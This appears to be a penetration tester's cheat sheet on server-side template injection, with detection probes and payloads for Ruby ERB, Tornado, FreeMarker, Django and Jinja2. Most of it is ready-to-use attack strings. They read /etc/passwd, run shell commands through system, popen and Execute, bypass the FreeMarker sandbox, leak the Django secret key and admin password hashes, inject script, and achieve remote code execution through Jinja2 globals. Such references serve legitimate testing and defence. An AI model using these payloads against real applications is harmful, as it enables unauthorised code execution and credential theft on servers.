Notes
Tools
Detect
Commonly Used Template Engine Syntax
Plaintext Context
Copy http://vulnerable-website.com/?username=${7*7}
Code Context
Copy http://vulnerable-website.com/?greeting=data.username
http://vulnerable-website.com/?greeting=data.username<tag>
http://vulnerable-website.com/?greeting=data.username}}<tag>
Identify
Invalid Syntax
Ruby Error
Copy (erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'
Decision Tree
Template Engine Payloads
Ruby
Ruby - Basic injections
ERB:
Slim:
Ruby - Retrieve /etc/passwd
Copy <%= File.open('/etc/passwd').read %>
Ruby - List files and directories then read
Copy <%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
Ruby - Code execution
Execute code using SSTI for ERB engine.
Copy <%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Execute code using SSTI for Slim engine.
Tornado Template
Tornado (Python)
Copy { % import foobar % } = Error
{ % import os % }
{ % import os % }
{{ os . system ( 'whoami' )}}
{{ os . system ( 'whoami' )}}
FreeMarker Template Injection
FreeMarker (Java)
You can try your payloads at https://try.freemarker.apache.org
Get FreeMarker Version
Freemarker - Code Execution
Copy ${“freemarker.template.utility.Execute”?new()(“cat /etc/passwd”)}
Copy < #assign ex = "freemarker.template.utility.Execute" ?new ()>${ ex ( "id" )}
[#assign ex = 'freemarker.template.utility.Execute' ?new ()]${ ex( 'id' ) }
${ "freemarker.template.utility.Execute" ?new ()("id")}
${ product . getClass () . getProtectionDomain () . getCodeSource () . getLocation () . toURI () . resolve ( '/home/carlos/my_password.txt' ) . toURL () . openStream () . readAllBytes () ? join( " " ) }
Freemarker - Sandbox bypass
⚠️ only works on Freemarker versions below 2.3.30
Copy < #assign classloader = article . class . protectionDomain . classLoader >
< #assign owc = classloader . loadClass ( "freemarker.template.ObjectWrapper" ) >
< #assign dwf = owc . getField ( "DEFAULT_WRAPPER" ) . get ( null ) >
< #assign ec = classloader . loadClass ( "freemarker.template.utility.Execute" ) >
${ dwf . newInstance (ec , null )( "id" )}
More information
Django Template Injection
Django Templates
Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.
Detection
Copy {% csrf_token %} # Causes error with Jinja2
{{ 7*7 }} # Error with Django Templates
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r
Django Templates for post-exploitation
Copy # Variables
{{ variable }}
{{ variable.attr }}
# Filters
{{ value|length }}
# Tags
{% csrf_token %}
Cross-site scripting
Copy {{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}
Debug information leak
Leaking app’s Secret Key
Copy {{ messages.storages.0.signer.key }}
Admin Site URL leak
Copy {% include 'admin/base.html' %}
Admin username and password hash leak
Copy {% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}
Jinja2(Python) Template Injection
<div data-gb-custom-block data-tag="debug"></div>
Copy {% debug %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
RCE
Copy {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
References